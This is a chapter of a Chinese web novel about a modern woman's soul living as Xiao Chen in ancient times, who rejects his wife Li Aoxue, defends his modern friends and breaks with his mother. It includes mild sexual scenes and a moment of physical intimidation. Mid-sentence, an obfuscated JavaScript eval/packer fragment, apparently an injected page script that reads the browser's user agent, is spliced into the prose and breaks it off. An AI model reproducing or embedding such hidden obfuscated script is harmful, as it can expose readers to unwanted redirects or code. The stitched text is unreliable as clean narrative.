李傲雪紧紧握住他的手,不肯松开,眼中满是期待与哀怨,问道:“少爷,对我真的就没有一点想法吗?” 肖晨面色涨红,眼神闪躲,结结巴巴地说道:“我……我没有。傲雪,你别这样,我们之间……不该是这样的。”他内心充满挣扎,一方面是李傲雪炽热的情感,另一方面是自己难以言说的复杂心境。他深知,此刻若给予李傲雪错误的信号,往后只会让她更加痛苦。 李傲雪眼中泪光闪烁,语气带着一丝哀求:“少爷,难道我就这么令您讨厌?我只是想得到您的爱,哪怕只有一点点。”说着,她将肖晨的手又往心口按了按,似要让他感受自己那颗因他而剧烈跳动的心。 肖晨深吸一口气,强忍着内心的慌乱,坚定地说道:“傲雪,感情之事不能勉强。我敬重你,但这与男女之爱不同。你如此执着,最后受伤的只会是你自己。”他试图让李傲雪明白,他们之间或许注定无法有她期待的那种感情。 李傲雪满眼悲戚与不甘,哽咽着问道:“你是不是嫌我长得丑?” 肖晨赶忙否认:“没有,你很美,在我眼中,你容貌出众。” 李傲雪咬了咬嘴唇,一狠心将亵衣脱掉,近乎执拗地追问:“那你为什么不看我呢?” 肖晨被这突如其来的举动弄得窘迫万分,内心天人交战。想着自己若是再如此扭捏,可能会让李傲雪更加难过,便暗自给自己打气,想着也没什么看不得的,自己怕什么。于是,他微微抬眼,目光触及李傲雪的身躯,脸上瞬间滚烫,心脏也不受控制地剧烈跳动起来。但他的眼神中更多的是慌乱与不知所措,而非李傲雪所期待的那种炽热与欲望。 李傲雪见他终于看向自己,眼中燃起一丝希望,声音颤抖着:“少爷,你看,我真的努力在让你看到我,难道你真的不能对我有一点心动吗?” 肖晨赶忙别过头,心中满是纠结与无奈,说道:“傲雪,这不是美丑的问题,也不是看不看的事。感情是发自内心的,我……我实在无法强迫自己。”他深知自己的话或许会再次伤害李傲雪,可又不知该如何改变这尴尬又痛苦的局面。 李傲雪眼中满是期盼,轻声问道:“那你能抱着我睡吗?” 肖晨犹豫了一下,想着自己灵魂是女孩,抱着她应该不会有事吧,便应道:“好。” 听到肖晨的应允,李傲雪心中闪过一丝窃喜。她缓缓躺到床上,肖晨也有些僵硬地在她身旁躺下,伸出手臂,轻轻将她揽入怀中。李傲雪紧紧依偎着肖晨,感受着他的体温,脸上浮现出一丝满足的神情。 肖晨心里则有些忐忑,尽管他认为自己灵魂是女孩,但此刻这般亲密接触,仍让他觉得浑身不自在。他尽量让自己放松,平稳呼吸,试图忽略这份异样感。房间里安静极了,只有两人轻微的呼吸声交织在一起。 李傲雪感受到肖晨抱紧了自己,心中爱意涌动,情难自禁,用光滑的肌肤轻轻蹭着他。肖晨顿时觉得一阵酥麻之感袭来,身体不由自主地起了反应。 他心中大惊,脸上一阵滚烫,可又不想让李傲雪察觉到自己的异样,只能强装镇定。他紧闭双眼,努力克制着内心的慌乱与冲动,试图让自己的思绪转移到其他事情上,以平复身体的反应。 李傲雪似乎并未察觉到肖晨的异常,依旧沉浸在这份亲密接触的喜悦之中,她微微抬起头,在肖晨怀里蹭了蹭,呢喃道:“少爷……”声音轻柔,带着一丝满足。 肖晨喉咙干涩,艰难地应了一声:“嗯……”他此刻只觉得如坐针毡,内心纠结万分,一方面是李傲雪亲密的举动,另一方面是自己复杂的情感和难以言说的秘密。他深知不能任由这种情况发展下去,可又不知该如何得体地制止李傲雪,只能暗暗祈祷李傲雪能尽快睡着,好让自己摆脱这尴尬又煎熬的处境。 李傲雪在他耳边轻轻呢喃:“少爷,你的身体好烫。”温热的气息喷洒在肖晨耳畔,让他愈发紧张。 肖晨竭力稳住声音,说道:“可能太热了吧。”他其实心里清楚,这热度并非因温度而起。 李傲雪听闻,伸手便要去掀被子,嘴里说着:“那我把被子掀开。” 肖晨一惊,赶忙制止:“不,不用。这样就挺好。”他生怕被子掀开,自己难以掩饰的生理反应会被察觉,内心慌乱如麻,可表面上还要强装镇定,不敢有丝毫松懈。 李傲雪见肖晨这般反应,心中虽有些疑惑,但沉浸在亲密氛围中的她并未多想,只是往肖晨怀里又蹭了蹭,轻声说道:“少爷,只要能这样靠着你,我就觉得好幸福。” 肖晨脸上火辣辣的,心里既窘迫又无奈,只能僵硬地应道:“嗯,你……你觉得好就好。”他努力让自己的身体保持静止,不敢再有丝毫多余动作,生怕引发更难以收拾的局面。 时间在这尴尬又微妙的气氛中缓缓流逝,每一秒对肖晨来说都如同煎熬。李傲雪的呼吸渐渐变得均匀,似是已陷入梦乡,可肖晨却依旧紧绷着神经,不敢放松警惕。 不知过了多久,肖晨确定李傲雪已经熟睡,这才小心翼翼地想要抽出被她枕着的手臂。然而,他刚一动弹,李傲雪便嘤咛了一声,往他怀里钻得更紧,手臂也下意识地搂紧了他的腰。肖晨顿时不敢再动,脸上满是无奈与苦笑。 好不容易等到窗外天色渐明,肖晨终于松了一口气。他再次尝试着轻轻抽出手臂,这次李傲雪没有太大反应,他成功脱身。看着熟睡中面容恬静的李傲雪,肖晨心中五味杂陈,轻手轻脚地起身,整理好衣衫,走出了房间。 来到屋外,清晨的凉风扑面而来,吹得肖晨清醒了许多。他暗自思索着昨晚的事,深知不能再这样与李傲雪纠葛下去,必须找个合适的时机,跟她把话说清楚,以免给她造成更深的伤害,也让自己能从这复杂的情感困境中解脱出来。可一想到李傲雪昨晚那深情又执着的模样,他又不禁感到一阵头疼,不知该如何开口。 9. 误会加深,不许侮辱她们 看着天快亮了,肖晨担心自己一早不在床上,会引起李傲雪的怀疑,为了不让她看出来异样,只好又轻手轻脚地回到床上去睡。 折腾了大半夜,他实在疲惫不堪,没过多久,困意便如潮水般涌来。不知不觉间,他的手臂自然地环上了李傲雪的腰肢,将她轻轻抱在怀里。 清晨的阳光透过窗户的缝隙,轻柔地洒在床榻上。李傲雪悠悠转醒,迷糊中感觉自己被紧紧拥抱着,微微睁开眼,发现是肖晨的怀抱,脸上顿时洋溢出幸福的笑容。她小心翼翼地,生怕吵醒肖晨,就这样静静享受着这份温暖,心中满是甜蜜。她心想,或许少爷在睡梦中的举动,才是他内心真实情感的流露,说不定在少爷心底,自己还是有一席之地的。 过了好一会儿,肖晨也慢慢转醒,当他意识到自己正抱着李傲雪时,瞬间清醒过来,脸上闪过一丝尴尬。他试图不着痕迹地松开手,装作刚睡醒的样子。李傲雪却娇嗔道:“少爷,你抱着我睡得可香啦。”肖晨有些不好意思地笑了笑,说道:“我……我昨晚太累了,没注意。” 李傲雪眼中闪过一丝失落,但很快又恢复笑容:“没关系呀,能被少爷抱着,我很开心呢。”肖晨看着她的模样,心中一阵纠结,他知道不能再让李傲雪误解下去,可又不知该如何在这气氛正好的时候,说出那些残忍的话,只能暗自叹了口气,想着找个更合适的时机再跟她坦白。 肖晨急忙想起身,目光扫到她还未穿上衣服,清晨的光线让一切比昨晚更为清晰。李傲雪见他这般,脸上泛起红晕,轻声问道:“少爷觉得我这个做妻子的如何?” 肖晨有些慌乱,随口应付道:“还行,我都见得多了。你的身材还可以。”话一出口,他就意识到不妥。 李傲雪听闻,脸上的笑容瞬间凝固,眼中闪过一丝震惊与难过,追问道:“少爷,你……你见过很多女人的身体?” 肖晨心里暗叫不好,但话已出口,只能硬着头皮解释:“当然啊,女人的身体构造我自然清楚不过了。”话刚说完,他瞬间意识到自己的解释不但没起到作用,反而让情况更糟糕了,恨不得咬掉自己的舌头,心中懊悔不已,不知该如何挽回这尴尬且愈发糟糕的局面。 李傲雪眼眶瞬间红了,声音带着一丝颤抖与委屈:“少爷,你怎能……我以为……我在你心中是特别的,没想到……”她用被子紧紧裹住自己的身体,背过身去,肩膀微微颤抖着。 肖晨看着她的背影,满心焦急与自责,忙伸手轻轻搭在她肩上,说道:“傲雪,你误会了,我不是你想的那个意思。我只是……只是从医书上了解到这些,并非像你想的那样……有过什么不当行为。”他心里祈祷着李傲雪能相信自己这番说辞,可又深知自己刚刚的话实在太容易引起误会了。 李傲雪转过身,眼中含泪,带着几分质问的口吻说道:“少爷可没有看医书的乐趣吧。” 肖晨不知怎的,一股脑儿将心中所想说了出来:“我是看过很多女性的身体又怎么样,女人哪块部位是我不清楚的。”话一出口,他才回过神,意识到这话说得太过了。 他心里暗自叫苦,可又忍不住想着:自己灵魂本就是女性,在现代,女孩子在浴池中一起洗澡,各种身材的都见过,对女性身体构造确实再熟悉不过,只是这在古代,实在难以解释清楚。 李傲雪听闻,脸上满是悲戚与愤怒,泪水不受控制地滑落:“少爷,你怎能如此轻贱我!我一心待你,你却……却说出这般伤人的话。在你心里,我与那些不知廉耻的女子又有何区别?”她紧紧抓着被子,身子微微颤抖,似是遭受了极大的打击。 肖晨这才慌了神,忙坐到床边,试图安抚李傲雪:“傲雪,你真的误会了。我绝非轻贱你之意,只是……只是一时口不择言。我心中对你,其实是很敬重的,只是不知该如何表达。”他心急如焚,搜肠刮肚地想着如何才能让李傲雪相信自己,可越着急,越觉得言辞苍白无力。 李傲雪别过头,不愿看他,哭着说道:“敬重?若真是敬重,又怎会说出那样的话?少爷,你让我太失望了。”说罢,哭得愈发伤心,整个身子都因抽泣而颤抖起来。 李傲雪满脸泪痕,气得浑身发抖:“她们怎么不是不知廉耻?光天化日之下,女子怎可随意袒露身体让你看!” 肖晨一心只想为自己“现代姐妹”辩护,完全忘了身处古代, blurted out(脱口而出):“她们怎么能是不知廉耻的女子,她们可是我的朋友,没人比她们更好了,那可是我最好的姐妹。”话一出口,他瞬间呆住,心里暗叫大事不妙。 李傲雪瞪大了眼睛,仿佛听到了什么天方夜谭,满脸的震惊与愤怒:“姐妹?少爷竟与这般女子称姐道妹,还一同……一同……”她气得说不出完整的话,只觉得自己的世界都崩塌了。在她的认知里,这简直是伤风败俗到了极点。 肖晨急忙解释:“傲雪,不是你想的那样,在我来的地方,女子之间一起沐浴、相互坦诚相见,是很正常的事,那只是一种日常相处,没有任何逾矩之处。”但他心里清楚,这种现代观念在古代根本难以被接受,自己这番解释听起来是如此荒诞。 李傲雪根本不愿相信,哭喊道:“少爷莫要再狡辩!这世间岂会有如此不知礼数之地?你分明是在哄骗我!我一心托付,换来的竟是这般……这般让我蒙羞之事!”她边哭边用被子蒙住头,不愿再看肖晨一眼,心中的痛苦与绝望如汹涌的潮水般将她淹没。 肖晨说到,我可没做,我们是好朋友。李傲雪听闻肖晨这般言语,简直惊得瞠目结舌,气得浑身发颤。 肖晨却不管不顾,继续说道:“我可没狡辩,她们可是我的好朋友,不许你这么说她们。”他沉浸在维护朋友的情绪中,完全忘了身处古代这一事实,一股脑儿地倾诉:“我们在一起洗澡怎么了,不仅如此我们还在一块睡觉。没她们我这生活过的多无趣。” 李傲雪又惊又怒,从床上坐起,用被子紧紧裹住自己,怒视着肖晨,声音颤抖地骂道:“你……你简直荒诞至极!这成何体统!女子与男子同榻而眠,还公然一起洗澡,这等伤风败俗之事,简直闻所未闻!你……你竟还觉得理所当然!”她眼中满是失望与痛心,原本对肖晨的爱意,此刻被愤怒和震惊所取代。 肖晨这才稍稍回过神,意识到自己闯下大祸,可话已出口,难以收回。他试图补救,急切地说道:“傲雪,你冷静些,那是在另一个地方,有着截然不同的风俗。在那里,人与人之间的相处方式和这里大不相同,但绝非你所想的那般不堪。那些都是纯粹的友情,并无任何不轨之意。”然而,李傲雪哪里肯听,她哭着大喊:“住口!我不想听你这些荒谬之言!你做出这等有辱门风之事,还有何脸面为自己辩解!”说罢,她掩面痛哭,哭得肝肠寸断,仿佛整个世界都已崩塌。 肖晨说到:你哭什么,我身边的姐妹哪有你这样一天哭哭啼啼的,你这样都让我该怎么跟你说话,你真不如她们热情。 李傲雪听闻此言,哭得愈发悲恸,心中满是绝望与委屈。她哽咽着说道:“少爷竟将我与那些……那些不知礼数的女子相比。我满心都是对少爷的情意,小心翼翼地对待这份感情,生怕有丝毫差池,可在少爷眼中,我竟如此不堪,还比不上那些行为放荡的女子。” 肖晨见李傲雪哭得如此伤心,心中也有些懊悔自己刚刚说话太重,但又觉得自己所言皆是事实,于是缓和了些语气说道:“我不是说你不堪,只是你和我以前那些姐妹性格差别太大了。她们性格直爽,热情大方,有什么就说什么,相处起来很轻松。不像你,动不动就哭,我都不知道该怎么和你交流了。” 李傲雪抬起泪眼,望着肖晨,眼中满是哀伤:“少爷,这里是我们生活的地方,有着不同的规矩和礼数。我自小接受的教导,让我只能如此。我努力学着做一个好女子,做少爷的贤妻,可少爷却总拿我与她们比较。难道在少爷心里,我就没有一点好,没有一点值得留恋的地方吗?” 肖晨心中一阵纠结,他也知道李傲雪为他付出了很多,可习惯了现代朋友相处模式的他,实在难以适应李傲雪这般敏感脆弱的性子。他沉默片刻,缓缓说道:“傲雪,我知道你对我好,可我们之间似乎总是有些隔阂。或许……或许我们都该好好想想,该如何相处。” 李傲雪听了这话,心中一凉,仿佛被一盆冷水从头浇下。她抱紧自己的身子,声音颤抖地说道:“少爷,难道我们之间的感情,就如此不堪一击吗?难道你就不能试着接受现在的我,试着理解我吗?”她眼中满是期盼,希望肖晨能回心转意,给这段感情一个机会。 他说到你可别说感情,小姐姐你我之间可没什么感情,你我二人可是清白的,我可不是那种,你不要乱想。 李傲雪听闻,如遭雷击,脸上血色瞬间褪尽。她呆呆地望着肖晨,嘴唇颤抖,难以置信地问道:“少爷,你……你说什么?我们……我们相处这么久,你竟说没有感情,还说什么清白?” 肖晨有些躲避她的目光,硬着头皮道:“我说的是实话。小姐姐,你我之间确实没什么感情。我一直都把这当普通相处,你莫要想得太多。我不是那种会随意与女子牵扯不清的人。” 李傲雪眼眶泛红,泪水在眼中打转,声音带着哭腔:“少爷,怎么能这样?这些日子的相伴,难道都是假的?我为你做的一切,你都看不到吗?你怎能如此狠心,这般否定我们之间的过往。” 肖晨心中虽有一丝不忍,但仍固执道:“那些不过是平常往来,你别往男女之情上想。我希望你能明白,我们之间不应有这些纠葛。” 李傲雪再也忍不住,泪水夺眶而出,哭喊道:“好一个不应有纠葛!少爷今日这番话,算是彻底断了我的念想。我一片真心,终究是错付了!”说罢,她用被子蒙住头,哭得肝肠寸断,仿佛要将这些日子以来的委屈与深情,都随着泪水一同宣泄出来。 肖晨看着哭得伤心欲绝的李傲雪,实在是有些无奈,心中虽有一丝愧疚,但被她这哭声扰得愈发心烦意乱,忍不住说道:“你别哭了,哭的我心烦。” 李傲雪却哭得更加厉害,边哭边说:“少爷这般无情,我怎能不哭?我满心的委屈,除了哭,还能怎样?”她的声音带着浓浓的鼻音,每一个字都像是从心底挤出来的。 肖晨在一旁手足无措,试图劝说道:“好了好了,我刚刚说话是重了些,但你也别一直哭啊。我们……我们好好说不行吗?”他本就不擅长处理这种情感纠葛,此刻更是觉得头大如斗。 李傲雪微微抬起头,泪眼朦胧地看着肖晨,说道:“好好说?少爷刚刚那般决绝,我还能与少爷说什么?难道要我装作什么都没发生,继续若无其事地待在少爷身边?”她满心的绝望,对这段感情已不抱太多希望。 肖晨叹了口气,坐到床边,尽量让自己的语气柔和一些:“傲雪,我知道我刚刚的话伤了你,但我只是想把话说清楚,不想让你误会。我们之间或许一开始就有些误解,我希望我们能把这些讲明白,以后……以后也能好好相处。”他试图挽回一些局面,可又不知该如何表达,只能这般含糊地说着。 李傲雪满脸悲戚与愤怒,声泪俱下地控诉:“还有什么可说的,你竟然跟那些不知廉耻的女子在一起。我一直以为你不碰我是洁身自好,没想到你跟风尘女子竟如此熟稔,还这般护着她们!” 肖晨一听,顿时急了,只觉得李傲雪对自己朋友的评价实在太过不公。他双眼一瞪,语气强硬地回应道:“我不是跟你说了我的朋友都是善良的人,不许你侮辱她们。不然别怪我对你不客气!”在他心中,那些现代的姐妹是无比珍贵的存在,容不得李傲雪这般诋毁。 李傲雪被肖晨的反应吓了一跳,心中的委屈更是如决堤之水,她难以置信地看着肖晨,质问道:“对我不客气?我不过是道出实情,少爷却为了那些女子对我如此凶怒。在少爷心中,我竟连她们都不如?少爷口口声声说她们善良,可在这世间,哪有女子会与男子随意共处、袒露身体,这难道不是不知廉耻?”她满心的痛苦与不甘,只觉得自己在肖晨心中的地位,远比不上那些他口中不知所谓的“朋友”。 肖晨心急如焚,却又不知该如何让李傲雪理解现代的观念,只能反复强调:“你不懂,那是完全不同的世界,她们绝非你想的那样。她们真诚、仗义,我们之间是纯粹的友谊,没有任何龌龊。你这般污蔑她们,实在太过分了!”他气得满脸通红,胸膛剧烈起伏,在他看来,李傲雪对朋友的偏见已经到了不可理喻的地步。 李傲雪毫不示弱,梗着脖子说道:“我就说她们又如何,女子不知廉耻,还不能说?”她眼中满是倔强与悲愤,泪水仍在眼眶中打转。 肖晨怒上心头,伸手猛地抓着她的下巴,眼神凌厉:“我警告过你咯,不许说她们,你懂什么!没她们谁陪我一起度过那些读书的日子,谁来陪伴我。我一个人在房间里多孤单。”他情绪激动,声音不自觉地提高,仿佛要将心中压抑已久的情绪一股脑宣泄出来。 李傲雪被他抓得下巴生疼,眼中闪过一丝恐惧,但更多的仍是不甘和委屈,声音带着哭腔说道:“少爷,你竟为了她们对我如此粗暴。那我呢,这些日子我在你身边,难道就从未给过你陪伴,从未让你感到温暖?在你心中,我就这般无足轻重,连提都比不上你的那些朋友?”她满心苦涩,觉得自己全心全意的付出,在肖晨眼中竟如此不值一提。 肖晨看着李傲雪眼中的泪花,心中微微一怔,手上的力气也不自觉松了些。他意识到自己刚刚的举动有些过激,但仍嘴硬道:“你和她们不一样,你不懂我们之间的情谊。那是一种相互理解、相互支持的感情,在我最需要的时候,她们都在。”他试图解释,但又觉得在这古代,李傲雪恐怕永远无法理解他和现代朋友之间的深厚羁绊。 李傲雪轻轻推开肖晨的手,泪流满面地说道:“好,我不懂,我什么都不懂。既然少爷如此看重她们,又何必与我纠缠。从今往后,少爷与你的朋友们相伴便是,我……我不再打扰便是。”说罢,她转身背对着肖晨,身体因抽泣而微微颤抖,心仿佛被撕裂一般疼痛。 肖晨叹了口气,放缓了些语气说道:“虽然你这些日子陪我,我也并非毫无感知。可是你我的思想并不能一致。很多时候,我想的你不理解,你说的我也难以苟同。你根本无法融入我们,无法体会我和朋友们之间那种默契和快乐。” 李傲雪听着这话,心中如坠冰窖,缓缓转过身,泪眼模糊地看着肖晨,声音颤抖:“所以,在少爷心里,我终究是个外人,无论我怎么努力,都比不上少爷那些不知所谓的朋友。我付出的真心,在少爷眼中不过如此。”她满心的凄凉,只觉得自己这段时间的深情相待,都成了一场笑话。 肖晨看着李傲雪伤心欲绝的模样,心中也有些不忍,但还是硬着头皮说道:“傲雪,不是我要如此狠心。只是我们生活的环境不同,观念差异太大。就拿你对我朋友的看法来说,你觉得她们行为不当,可在我看来那是再正常不过的事。这种分歧,不是一时半会儿能消除的。”他无奈地摇了摇头,试图让李傲雪明白两人之间难以逾越的鸿沟。 李傲雪咬着嘴唇,强忍着泪水,说道:“那少爷的意思是,我们之间就没有可能了?我这些日子的陪伴,都可以一笔勾销?”她眼中还残留着一丝期盼,希望肖晨能回心转意,给这段感情一个转机。 肖晨沉默片刻,终究还是狠下心说道:“或许,我们真的不合适。长痛不如短痛,早点说清楚,对你我都好。”他别过头,不敢再看李傲雪那绝望的眼神,心中也有些烦闷,不知自己这样的决定,究竟是对是错。 李傲雪脸色瞬间变得惨白,身子摇摇欲坠,难以置信地望着肖晨,颤声问道:“你的意思是要休了我?” 肖晨避开她的目光,心中虽有些不忍,但还是咬咬牙说道:“这样再好不过,你我都没什么感情,我又不能爱你。还不如分开,你也可以去找属于自己的幸福。” 李傲雪眼眶中的泪水再次夺眶而出,她悲戚地笑了笑,笑声中满是自嘲与绝望:“找自己的幸福?在这世上,女子被夫家休弃,便如蒙尘之珠,哪还有什么幸福可言。少爷今日这般绝情,可曾想过我今后该如何自处?” 肖晨心中一阵纠结,他深知在这个时代,被休弃对女子意味着什么,但他又觉得长痛不如短痛,犹豫片刻后说道:“我会给你足够的补偿,让你今后的生活衣食无忧。你还年轻,总会遇到真正对你好,能与你相伴一生的人。” 李傲雪缓缓摇头,泪水不停地滑落:“金钱又怎能弥补这满心的伤痛?我一心待你,将所有的情感都倾注在你身上,如今却换来如此结局。少爷既然心意已决,多说无益,只望少爷莫要后悔今日之举。”说罢,她转身慢慢走向内室,脚步沉重,每一步都似用尽了全身的力气,留下肖晨独自站在原地,心中五味杂陈。 肖晨满心烦躁,双手好似不听使唤,拿着衣服半天都穿不好。纽扣仿佛故意与他作对,怎么都对不准扣眼,衣袖也缠作一团。他低声咒骂一句,再也耐不住性子,大声唤来丫鬟:“来人!服侍我穿衣洗漱!” 丫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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肖母眉头紧皱,不耐烦地说道:“哼,别在这儿跟我装糊涂。我儿子向来稳重,若不是你做了什么过分的事,怎会如此动怒。我可告诉你,进了我肖家的门,就得守肖家的规矩,好好伺候我儿子。要是再敢惹他不高兴,我可不会轻饶你!” 李傲雪眼眶泛红,满心委屈地说道:“母亲,儿媳句句属实,少爷说自己跟一些风尘女子是好朋友,还看过很多女性的身体,他还让我不要侮辱她们。” 肖母一听,顿时怒目圆睁,猛地一拍桌子,大骂道:“你胡说什么!我儿子向来品行端正,从来不去那种地方。你们成婚至今连通房都没有,你竟编出这般荒谬的谎言,胡说也得有个度!”肖母气得胸口剧烈起伏,怎么也不愿相信自己儿子会做出这种事,认定是李傲雪在胡言乱语,故意污蔑。 李傲雪扑通一声跪下,泪流满面地说道:“母亲,儿媳不敢撒谎。今儿早上,少爷就是这般说的,儿媳听得真真切切。儿媳知道这话难以置信,可这确实是少爷亲口所言啊。”她满心期盼肖母能相信自己,可看着肖母那愤怒又怀疑的眼神,心中又满是绝望。 肖母看着跪在地上哭泣的李傲雪,心中虽有一丝动摇,但仍厉声道:“我儿怎会结交风尘女子,还说这些不知廉耻的话。定是你不知检点,惹得我儿厌烦,才编造出这些话来污蔑他。你若再敢胡言,休怪我不顾婆媳情分!”肖母心中坚信儿子的为人,觉得李傲雪此举实在可恶,对她的不满又添几分。 李傲雪抬起泪眼,坚定地说道:“我没有撒谎,母亲若是不信,可以叫来少爷问一问。”她满心期望肖晨能当面对质,好还自己一个清白。 肖母虽满心不愿相信李傲雪所言,但见她如此坚持,也不禁有些犹豫。思索片刻后,她终究还是吩咐丫鬟:“去,把少爷叫过来。我倒要看看,这到底是怎么回事。” 丫鬟领命匆匆而去。不多时,肖晨一脸疑惑地走进厅中,看到跪在地上的李傲雪和面色阴沉的母亲,心中暗自叫苦,已然猜到几分缘由。他向肖母行礼道:“母亲,唤孩儿前来,所为何事?” 肖母盯着肖晨,目光中带着审视,冷冷说道:“你媳妇说你结交风尘女子,还看过不少女子身体,让她不许侮辱那些人,可有此事?” 肖晨心中一紧,没想到李傲雪竟将此事告知母亲。他一时有些语塞,不知该如何解释。犹豫片刻,他决定还是如实相告,硬着头皮说道:“母亲,此事确有,但并非您想的那样。那些女子并非风尘女子,只是孩儿以前的朋友,我们之间是纯粹的友谊。” 肖母一听,脸色愈发难看,怒喝道:“纯粹的友谊?男女之间何来纯粹友谊?还看过女子身体,成何体统!你……你真是让我太失望了!” 肖晨焦急地看着肖母,连连摆手解释道:“这不是您想的那样,反正她们是我的好朋友,我们之间没有做出什么逾矩之事,您可千万别乱想啊。我可没有那种癖好。” 肖母气得站起身来,手指着肖晨,浑身微微颤抖:“没有逾矩?男女之间,看了身体还不算逾矩?你说的这叫什么话!你自幼读书明理,怎如今说出如此荒唐言语。” 李傲雪跪在一旁,看着肖晨急切解释的模样,心中五味杂陈。一方面,她希望肖晨能说清楚,还自己公道;另一方面,又因肖晨对那些“朋友”的维护,心中仍隐隐作痛。 肖晨满脸无奈,深知古代观念与自己认知差异巨大,不知该如何让母亲明白。他深吸一口气,尽量让语气平稳:“母亲,在孩儿原来生活的地方,人与人之间相处方式不同。朋友间相互坦诚,并非像这里所想的那般不堪。孩儿与她们,真的只是纯粹友情,并无任何不当行为。” 肖母怒极反笑:“好一个相处方式不同!难道你原来生活之地,皆是这般不知礼义廉耻之徒?我肖家世代书香,容不得你这般胡作非为。你若还认我这个母亲,就与那些女子断个干净,好好与傲雪过日子。” 肖晨满脸无奈与焦急,望着肖母说道:“母亲,我是想见她们,可是根本见不到啊。您就不要再侮辱我的朋友了,她们真的都是很好的人。而且她们没有生活在这里,她们在另一个遥远的地方,和这里的一切都不一样。” 肖母一听,更加恼怒,大声斥责道:“即便远在他方,行为如此放荡,也绝非良善之辈。你口口声声维护她们,却丝毫不顾你媳妇的感受,也不顾及肖家的颜面。你到底知不知道自己在说什么!” 李傲雪跪在一旁,心中一阵刺痛,她看着肖晨,眼中满是哀怨与委屈:“少爷,您心中只有您那些朋友,可曾想过我的感受?今日之事,您让我在母亲面前如何自处?” 肖晨看着李傲雪伤心的模样,心中有些愧疚,但仍说道:“傲雪,我知道今日之事让你受委屈了,可我不能任由母亲误会我的朋友。她们对我来说,就如同亲人一般,我不能听着旁人诋毁她们。” 肖母气得坐回椅子,喘着粗气说道:“好,好得很!你为了那些不知所谓的女子,竟这般与我和你媳妇说话。我看你是被那些人带坏了,连基本的礼义都不顾了。今日我便把话撂这儿,你若还想在肖家好好过,就绝不能再提那些女子半个字!” 肖晨情绪激动,眼眶泛红,冲着肖母大声吼道:“我凭什么不能提?谁想在这里过?我还想回去呢,你以为我稀罕这里!”积压在心中许久的郁闷与无奈,在这一刻如火山爆发般倾泻而出。 肖母被肖晨的激烈反应震住,一时愣在原地,脸上满是错愕与不可置信。她颤巍巍地指着肖晨,嘴唇抖动着,却说不出完整的话:“你……你这逆子,竟说出这般大逆不道的话……” 李傲雪也被吓得不轻,她没想到肖晨竟会对肖母如此顶撞。她跪在地上,心急如焚,既担心肖晨的过激言行会惹得肖母更加生气,又为这混乱不堪的局面感到绝望。她伸手拉了拉肖晨的衣角,带着哭腔劝道:“少爷,您别再说了,快给母亲赔个不是吧……” 肖晨深吸一口气,稍稍平复了下情绪,但眼神依旧倔强:“母亲,我并非有意顶撞您。只是在这里,很多事我都无法适应,无法理解。我的朋友们对我很重要,她们在我心中的地位,不是旁人能够诋毁的。我知道我的话可能让您生气,但这都是我的真心话。” 肖母缓缓摇头,眼中满是失望与痛心:“你……你简直不可理喻。为了那些虚无缥缈的所谓朋友,你连自己的家、自己的身份都不顾了。既然如此,你……你就别认我这个母亲,别再回这个家了!”说罢,她用手帕捂住脸,身子微微颤抖着,仿佛一瞬间苍老了许多。 10. 和家人闹掰 肖晨咬了咬牙,决然道:“不回就不回,我本来就是要走的!”语毕,他转身便大步流星地离开了家,头也不回。 踏出家门的那一刻,外头凛冽的风扑面而来,吹得他衣袂猎猎作响。他心中五味杂陈,既有着与家人争执后的烦闷,又隐隐生出一丝解脱之感。他暗自思忖:“这样也好,省得到时候自己回现代有什么不方便。” 街道上行人来来往往,可他却觉得自己与这周遭的一切格格不入。回想刚刚家中剑拔弩张的场景,肖晨满心无奈。他明白自己与母亲、李傲雪之间,因观念差异如隔着一道难以跨越的鸿沟。而这古代的生活,诸多规矩和束缚,也让他愈发怀念现代的自由与洒脱。 此刻,他的脑海中不禁浮现出那些现代朋友的面容,想起曾经与他们共度的欢乐时光。“或许,只有回到属于我的世界,才真正能找到那份自在吧。”肖晨一边想着,一边加快了脚步,似乎想要尽快远离这个让他烦恼不断的地方,去追寻那不知何时才能实现的回归现代的希望。 肖母话一出口,瞬间就后悔了,脸上血色尽失。她就只有这么一个儿子,和老爷三十岁才好不容易盼来这根独苗,一直视作心头宝。如今竟冲动之下说出这般决绝的话,倘若儿子真的就此记恨,不再认自己,往后的日子可怎么过? 想到这儿,肖母只觉一阵天旋地转,身子晃了晃,险些摔倒。李傲雪见状,赶忙起身扶住她,焦急唤道:“母亲,您别着急,少爷他……他许是一时气话,过些时候便会回来的。” 肖母紧紧抓住李傲雪的手,像是抓住最后一根救命稻草,声音颤抖:“傲雪啊,都怪我,刚刚太冲动了。这孩子从小就有自己的主意,万一他真的……真的不回来了,可如何是好?”说着,泪水不受控制地涌出。 李傲雪心中同样难过,但还是强忍着安慰道:“母亲,少爷不会不管您的。他定是在外面消消气,等想明白了,自然会回家。您先保重身子,莫要气坏了自己。”她嘴上虽这般说,可心里也没底,毕竟肖晨这次看起来格外决绝。 肖母微微点头,用帕子擦了擦泪,喃喃道:“但愿如此,但愿如此啊……”此刻,她满心自责与担忧,只盼着儿子能快点回来,一家人还能像从前那般和和美美。 肖晨满腹心事,在大街上漫无目的地走着。忽然,“啪”的一声,一朵花不偏不倚砸到他头上。他正满心烦躁,刚要发火,抬眼却瞧见一位姿容秀丽的女子。 那女子身着淡粉色罗裙,裙摆随风轻扬,如弱柳扶风般走上前来,面露惊慌与歉意,连忙福身说道:“公子,实在对不住,小女子一时失手,这才……”声音清脆悦耳,如黄莺出谷。 肖晨看着她楚楚可怜的模样,到嘴边的怒火顿时消散,摆了摆手说道:“没关系,以后可要小心点。要是砸到别人,可不会有我这么好说话了。” 女子听闻,微微松了口气,脸上浮现出一抹感激的笑容,犹如春日绽放的花朵般明媚:“多谢公子宽宏大量,小女子定当谨记。”说罢,她弯腰捡起那朵掉落的花,轻轻抚了抚花瓣,动作轻柔而优雅。 肖晨看着女子手中的花,随口问道:“你怎么拿着花,却又不小心掉落了?”女子抬起头,美目流转,略带羞涩地解释道:“这花是我刚从街边花贩处买来,本想拿回去插瓶,谁知方才不小心手一滑……实在是对不住公子。” 肖晨还没来得及回应那漂亮女子,冷不丁冒出几个女子,一下子将他团团围住。其中一个穿着艳丽、眉眼含俏的女子娇声问道:“公子,这一大早是要去哪里呀?” 